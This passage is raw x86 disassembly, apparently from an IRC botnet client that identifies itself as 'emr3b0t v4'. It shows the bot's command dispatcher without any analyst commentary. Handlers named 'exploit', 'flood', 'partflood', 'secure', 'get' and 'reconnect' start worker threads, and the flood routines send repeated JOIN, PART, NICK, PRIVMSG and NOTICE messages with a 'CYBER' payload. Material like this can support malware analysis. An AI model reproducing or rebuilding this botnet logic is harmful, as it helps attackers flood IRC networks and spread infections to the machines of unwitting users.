mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_40B6FC
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_40461B
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_440D20
loc_4045FF: ; CODE XREF: sub_401C87+77EAj
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 0Ch
jmp loc_406F3F
; ---------------------------------------------------------------------------
loc_404613: ; CODE XREF: sub_401C87+299Aj
push 32h
call ds:dword_4F534C ; Sleep
loc_40461B: ; CODE XREF: sub_401C87+296Aj
cmp [ebp+var_B34], ebx
jz short loc_404613
jmp loc_406F3F
; ---------------------------------------------------------------------------
loc_404628: ; CODE XREF: sub_401C87+1636j
; sub_401C87+164Bj
push offset aTarab ; "Tarab"
lea eax, [ebp+var_2C0]
push offset dword_440D5C
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 20h
jmp loc_406F3F
; ---------------------------------------------------------------------------
loc_40465F: ; CODE XREF: sub_401C87+160Cj
; sub_401C87+1621j
push ds:dword_4E2D04
call sub_41B51B
push eax
lea eax, [ebp+var_2C0]
push offset unk_440D74
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 24h
jmp loc_406F3F
; ---------------------------------------------------------------------------
loc_40469D: ; CODE XREF: sub_401C87+15E2j
; sub_401C87+15F7j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4046CF
cmp [ebp+var_C], ebx
jz short loc_4046DE
push esi
push [ebp+var_C]
call sub_41EBB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4046DE
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_409C2F
add esp, 0Ch
jmp short loc_4046DE
; ---------------------------------------------------------------------------
loc_4046CF: ; CODE XREF: sub_401C87+2A1Fj
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_409C2F
pop ecx
pop ecx
loc_4046DE: ; CODE XREF: sub_401C87+2A24j
; sub_401C87+2A33j ...
push 0FFFFFFFEh
pop eax
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_4046E6: ; CODE XREF: sub_401C87+15B8j
; sub_401C87+15CDj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_409C2F
push offset dword_440DD4
call sub_415A3C
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_404708: ; CODE XREF: sub_401C87+158Ej
; sub_401C87+15A3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409C2F
push offset dword_440E08
call sub_415A3C
add esp, 0Ch
jmp loc_4099D3
; ---------------------------------------------------------------------------
loc_404727: ; CODE XREF: sub_401C87+1564j
; sub_401C87+1579j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BD5A
jmp loc_404AE3
; ---------------------------------------------------------------------------
loc_40473D: ; CODE XREF: sub_401C87+153Aj
; sub_401C87+154Fj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BD06
jmp loc_404AE3
; ---------------------------------------------------------------------------
loc_404753: ; CODE XREF: sub_401C87+1510j
; sub_401C87+1525j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BC9B
jmp loc_404AE3
; ---------------------------------------------------------------------------
loc_404769: ; CODE XREF: sub_401C87+14E6j
; sub_401C87+14FBj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BBCD
jmp loc_404AE3
; ---------------------------------------------------------------------------
loc_40477F: ; CODE XREF: sub_401C87+1441j
; sub_401C87+1456j
push [ebp+esi+var_8C]
push 27h
push offset dword_440E24
push offset dword_440E34
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_404797: ; CODE XREF: sub_401C87+1417j
; sub_401C87+142Cj
push [ebp+esi+var_8C]
push 24h
push offset dword_440E44
push offset dword_440E50
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_4047AF: ; CODE XREF: sub_401C87+1033j
; sub_401C87+1048j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_4047CE
push edi
call sub_41E710
test eax, eax
pop ecx
jz short loc_4047CE
push edi
call sub_41E710
pop ecx
jmp short loc_4047D3
; ---------------------------------------------------------------------------
loc_4047CE: ; CODE XREF: sub_401C87+2B31j
; sub_401C87+2B3Cj
mov eax, ds:dword_43F078
loc_4047D3: ; CODE XREF: sub_401C87+2B45j
mov esi, [ebp+esi+var_88]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_4047F8
push esi
loc_4047E5: ; CODE XREF: sub_401C87+2B80j
lea eax, [ebp+var_5A0]
push 10h
push eax
call sub_41EC30
add esp, 0Ch
jmp short loc_40480F
; ---------------------------------------------------------------------------
loc_4047F8: ; CODE XREF: sub_401C87+2B5Bj
cmp [ebp+var_8FF], bl
jz short loc_404809
lea eax, [ebp+var_C0]
push eax
jmp short loc_4047E5
; ---------------------------------------------------------------------------
loc_404809: ; CODE XREF: sub_401C87+2B77j
mov [ebp+var_5A0], bl
loc_40480F: ; CODE XREF: sub_401C87+2B6Fj
mov eax, [ebp+var_4]
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax
mov [ebp+var_624], esi
call sub_41EC30
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AEAD
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset dword_440E60
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 19h
push eax
call sub_40B691
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset sub_411AAE
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4048C3
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_440E88
jmp loc_40220D
; ---------------------------------------------------------------------------
loc_4048BB: ; CODE XREF: sub_401C87+2C42j
push 32h
call ds:dword_4F534C ; Sleep
loc_4048C3: ; CODE XREF: sub_401C87+2C21j
cmp [ebp+var_57C], ebx
jz short loc_4048BB
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_4048D0: ; CODE XREF: sub_401C87+FC9j
; sub_401C87+FDEj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4048F0
push esi
call sub_41E710
test ax, ax
pop ecx
jz short loc_4048F0
push esi
call sub_41E710
pop ecx
jmp short loc_4048F6
; ---------------------------------------------------------------------------
loc_4048F0: ; CODE XREF: sub_401C87+2C52j
; sub_401C87+2C5Ej
mov ax, ds:word_43F088
loc_4048F6: ; CODE XREF: sub_401C87+2C67j
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41EC30
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AEAD
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_440EC4
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409C75
push ebx
lea eax, [ebp+var_2C0]
push 6
push eax
call sub_40B691
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset sub_40EE63
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4049C8
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_440EF0
jmp loc_40220D
; ---------------------------------------------------------------------------
loc_4049C0: ; CODE XREF: sub_401C87+2D47j
push 32h
call ds:dword_4F534C ; Sleep
loc_4049C8: ; CODE XREF: sub_401C87+2D26j
cmp [ebp+var_968], ebx
jz short loc_4049C0
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_4049D5: ; CODE XREF: sub_401C87+F75j
; sub_401C87+F8Aj ...
push edi
push offset aSecure_0 ; "secure"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4049FD
push edi
push offset aSec_0 ; "sec"
call sub_41F7E0
pop ecx
mov [ebp+var_A10], ebx
test eax, eax
pop ecx
jnz short loc_404A07
loc_4049FD: ; CODE XREF: sub_401C87+2D5Dj
mov [ebp+var_A10], 1
loc_404A07: ; CODE XREF: sub_401C87+2D74j
push [ebp+var_88]
lea eax, [ebp+var_A94]
push 80h
push eax
call sub_41EC30
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_A10], ebx
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
mov [ebp+var_A08], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_404A4E
mov eax, offset aUnsecuring ; "Unsecuring"
loc_404A4E: ; CODE XREF: sub_401C87+2DC0j
push eax
push offset dword_440F54
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41EC30
push ebx
lea eax, [ebp+var_2C0]
push 22h
push eax
call sub_40B691
add esp, 1Ch
mov [ebp+var_A14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_41AAA5
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_A14]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_404AC5
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_440F70
jmp loc_4085EB
; ---------------------------------------------------------------------------
loc_404ABD: ; CODE XREF: sub_401C87+2E44j
push 32h
call ds:dword_4F534C ; Sleep
loc_404AC5: ; CODE XREF: sub_401C87+2E23j
cmp [ebp+var_A04], ebx
jz short loc_404ABD
jmp loc_402593
; ---------------------------------------------------------------------------
loc_404AD2: ; CODE XREF: sub_401C87+F4Bj
; sub_401C87+F60j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41B33E
loc_404AE3: ; CODE XREF: sub_401C87+2AB1j
; sub_401C87+2AC7j ...
add esp, 0Ch
jmp loc_409A67
; ---------------------------------------------------------------------------
loc_404AEB: ; CODE XREF: sub_401C87+F21j
; sub_401C87+F36j
push offset unk_440FB0
jmp loc_40649E
; ---------------------------------------------------------------------------
loc_404AF5: ; CODE XREF: sub_401C87+EF7j
; sub_401C87+F0Cj
push offset aEmr3b0tV4 ; "emr3b0t v4"
push offset dword_441060
jmp loc_406F0F
; ---------------------------------------------------------------------------
loc_404B04: ; CODE XREF: sub_401C87+ECDj
; sub_401C87+EE2j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404B60
push esi
call sub_41E710
cmp eax, ebx
pop ecx
jl short loc_404B55
cmp eax, 3
jge short loc_404B55
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_404B4A
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C0]
push offset unk_441070
push eax
call sub_41EA60
mov [esi], bl
jmp loc_40619C
; ---------------------------------------------------------------------------
loc_404B4A: ; CODE XREF: sub_401C87+2EA5j
push eax
push offset unk_441090
jmp loc_406190
; ---------------------------------------------------------------------------
loc_404B55: ; CODE XREF: sub_401C87+2E91j
; sub_401C87+2E96j
push eax
push offset unk_4410BC
jmp loc_406190
; ---------------------------------------------------------------------------
loc_404B60: ; CODE XREF: sub_401C87+2E86j
mov edi, [ebp+arg_18]
xor esi, esi
loc_404B65: ; CODE XREF: sub_401C87+2EFAj
push [ebp+var_90]
push edi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_404B88
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404B65
jmp loc_407148
; ---------------------------------------------------------------------------
loc_404B88: ; CODE XREF: sub_401C87+2EEEj
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
push offset unk_4410E8
jmp loc_406190
; ---------------------------------------------------------------------------
loc_404BA2: ; CODE XREF: sub_401C87+EA3j
; sub_401C87+EB8j
push [ebp+var_8C]
push offset a332_1 ; "332"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_403610
call sub_40B854
push ebx
call ds:off_4F5338
loc_404BC8: ; CODE XREF: sub_401C87+19C2j
push offset aGet_2 ; "get"
push esi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_404C6E
cmp ds:dword_4E676C, ebx
jz short loc_404BF4
push offset dword_4E6150
push offset unk_441110
jmp loc_404C80
; ---------------------------------------------------------------------------
loc_404BF4: ; CODE XREF: sub_401C87+2F5Cj
push 10h
pop eax
mov [ebp+var_2D0], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call ds:dword_4F554C ; getsockname
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E30]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41EA60
lea eax, [ebp+var_E30]
push eax
lea eax, [ebp+var_2C0]
push offset unk_441154
push eax
call sub_41EA60
add esp, 20h
jmp loc_403668
; ---------------------------------------------------------------------------
loc_404C6E: ; CODE XREF: sub_401C87+2F50j
push esi
call ds:dword_4E3008 ; inet_addr
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404C94
push offset unk_44118C
loc_404C80: ; CODE XREF: sub_401C87+2F68j
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 0Ch
jmp loc_403668
; ---------------------------------------------------------------------------
loc_404C94: ; CODE XREF: sub_401C87+2FF2j
push offset dword_4E6150
call sub_41F620
push esi
lea eax, [ebp+var_2C0]
push offset unk_4411C0
push eax
mov ds:dword_4E676C, 1
call sub_41EA60
add esp, 14h
jmp loc_403668
; ---------------------------------------------------------------------------
loc_404CC2: ; CODE XREF: sub_401C87+19AAj
push edi
push offset aExploit ; "exploit"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_404DBB
mov eax, [ebp+var_4]
mov esi, offset a2 ; "#2"
mov [ebp+var_13E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F4], eax
mov edi, 80h
push esi
lea eax, [ebp+var_1474]
push edi
push eax
mov [ebp+var_13EC], 1
call sub_41EC30
push esi
lea eax, [ebp+var_14F4]
push edi
push eax
call sub_41EC30
push [ebp+arg_10]
lea eax, [ebp+var_1504]
push 10h
push eax
call sub_41EC30
lea eax, [ebp+var_1504]
push eax
lea eax, [ebp+var_2C0]
push offset unk_4411F4
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 8
push eax
call sub_40B691
add esp, 3Ch
mov [ebp+var_13E8], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1504]
push ebx
push eax
push offset sub_40BE20
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_13E8]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_404DAE
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_441224
jmp loc_406190
; ---------------------------------------------------------------------------
loc_404DA6: ; CODE XREF: sub_401C87+312Dj
push 32h
call ds:dword_4F534C ; Sleep
loc_404DAE: ; CODE XREF: sub_401C87+310Cj
cmp [ebp+var_13DC], ebx
jz short loc_404DA6
jmp loc_407148
; ---------------------------------------------------------------------------
loc_404DBB: ; CODE XREF: sub_401C87+304Aj
push edi
push offset aReconnect_in ; "reconnect.in"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4099DA
push edi
push offset aRin ; "rin"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4099DA
push edi
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409994
push edi
push offset aRinms ; "rinms"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409994
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41F7E0
mov edi, ds:dword_4F534C
pop ecx
test eax, eax
pop ecx
jnz loc_405977
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
push [ebp+arg_10]
push offset aLoad ; "load"
call sub_41F7E0
add esp, 0Ch
test eax, eax
jnz short loc_404EBE
cmp [ebp+esi+var_80], ebx
jz short loc_404EBE
push [ebp+esi+var_80]
call sub_41E710
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41E710
pop ecx
push eax
push [ebp+esi+var_88]
call sub_4183AA
push [ebp+esi+var_84]
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_4412A0
push eax
call sub_41EA60
add esp, 20h
cmp [ebp+var_8], ebx
jnz short loc_404EBE
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_404EBE: ; CODE XREF: sub_401C87+31C3j
; sub_401C87+31C9j ...
push [ebp+arg_10]
push offset aPm_1 ; "pm"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404F27
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404F27
push offset a__6 ; " _"
push (offset a__6+2)
push eax
call sub_4189CD
push eax
lea eax, [ebp+var_50F4]
push eax
call sub_41F620
lea eax, [ebp+var_50F4]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPrivmsgSS_3 ; "privmsg %s :%s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 28h
loc_404F27: ; CODE XREF: sub_401C87+3248j
; sub_401C87+3253j
push [ebp+arg_10]
push offset aCt ; "ct"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404F90
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404F90
push offset a__7 ; " _"
push (offset a__7+2)
push eax
call sub_4189CD
push eax
lea eax, [ebp+var_4BF0]
push eax
call sub_41F620
lea eax, [ebp+var_4BF0]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_4412EC
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 28h
loc_404F90: ; CODE XREF: sub_401C87+32B1j
; sub_401C87+32BCj
push [ebp+arg_10]
push offset dword_441300
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_404FF9
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404FF9
push offset byte_441304
push offset word_441306
push eax
call sub_4189CD
push eax
lea eax, [ebp+var_46EC]
push eax
call sub_41F620
lea eax, [ebp+var_46EC]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset dword_441308
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 28h
loc_404FF9: ; CODE XREF: sub_401C87+331Aj
; sub_401C87+3325j
push [ebp+arg_10]
push offset aMode ; "mode"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405062
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_405062
push offset asc_44131E ; " "
push offset a_ ; "_"
push eax
call sub_4189CD
push eax
lea eax, [ebp+var_4DF0]
push eax
call sub_41F620
lea eax, [ebp+var_4DF0]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 28h
loc_405062: ; CODE XREF: sub_401C87+3383j
; sub_401C87+338Ej
push [ebp+arg_10]
push offset aJoin ; "join"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4050A1
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_4050A1
push eax
lea eax, [ebp+var_2C0]
push offset aJoinS ; "join %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 10h
loc_4050A1: ; CODE XREF: sub_401C87+33ECj
; sub_401C87+33F7j
push [ebp+arg_10]
push offset aPart_1 ; "part"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4050E0
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_4050E0
push eax
lea eax, [ebp+var_2C0]
push offset aPartS ; "part %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 10h
loc_4050E0: ; CODE XREF: sub_401C87+342Bj
; sub_401C87+3436j
push [ebp+arg_10]
push offset aPartflood ; "partflood"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405124
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_405124
push offset aCyber ; "CYBER"
push eax
lea eax, [ebp+var_2C0]
push offset aPartSS ; "part %s %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
loc_405124: ; CODE XREF: sub_401C87+346Aj
; sub_401C87+3475j
push [ebp+arg_10]
push offset aPnick ; "pnick"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405199
cmp [ebp+esi+var_88], ebx
jz short loc_405199
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
call sub_41EB70
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B4]
push edx
push [ebp+esi+var_88]
push offset aSI ; "%s%i"
push eax
call sub_41EA60
lea eax, [ebp+var_17B4]
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 24h
loc_405199: ; CODE XREF: sub_401C87+34AEj
; sub_401C87+34B7j
push [ebp+arg_10]
push offset aJoinPart ; "join/part"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4052E0
cmp [ebp+esi+var_88], ebx
jz loc_4052E0
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_0 ; "join %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS_0 ; "part %s %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 24h
call sub_41EB70
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_1 ; "join %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 10h
call sub_41EB70
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS_1 ; "part %s %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_2 ; "join %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 24h
call sub_41EB70
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPartSS_2 ; "part %s %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
loc_4052E0: ; CODE XREF: sub_401C87+3523j
; sub_401C87+3530j
push [ebp+arg_10]
push offset aDcc ; "dcc"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_40537A
cmp [ebp+esi+var_88], ebx
jz short loc_40537A
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
pop ecx
call sub_41EB70
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41EB70
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41EB70
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41EB70
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41EB70
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C0]
push edx
push [ebp+esi+var_88]
push offset dword_4413CC
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 24h
loc_40537A: ; CODE XREF: sub_401C87+366Aj
; sub_401C87+3677j
push [ebp+arg_10]
push offset aNick_0 ; "nick"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405477
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_405477
push eax
lea eax, [ebp+var_2C0]
push offset aJoinS_3 ; "join %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
lea eax, [ebp+var_4BC]
push eax
call sub_418428
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_1 ; "NICK %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 24h
call sub_41EB70
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_418428
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_2 ; "NICK %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
call sub_41EB70
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+var_4BC]
push eax
call sub_418428
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_3 ; "NICK %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
loc_405477: ; CODE XREF: sub_401C87+3704j
; sub_401C87+3713j
push [ebp+arg_10]
push offset aChgnick ; "chgnick"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4054BD
lea eax, [ebp+var_1808]
push eax
call sub_418428
lea eax, [ebp+var_1808]
push eax
lea eax, [ebp+var_2C0]
push offset aNickS_4 ; "NICK %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
loc_4054BD: ; CODE XREF: sub_401C87+3801j
push [ebp+arg_10]
push offset aMsg ; "msg"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4055A9
cmp [ebp+esi+var_88], ebx
jz loc_4055A9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_4 ; "join %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 24h
call sub_41EB70
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "privmsg %s :%s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
call sub_41EB70
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPrivmsgSS_1 ; "privmsg %s :%s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 14h
loc_4055A9: ; CODE XREF: sub_401C87+3847j
; sub_401C87+3854j
push [ebp+arg_10]
push offset aNotice_2 ; "notice"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_405695
cmp [ebp+esi+var_88], ebx
jz loc_405695
push [ebp+esi+var_88]
lea eax, [ebp+var_2C0]
push offset aJoinS_5 ; "join %s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_4180CE
add esp, 24h
call sub_41EB70
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
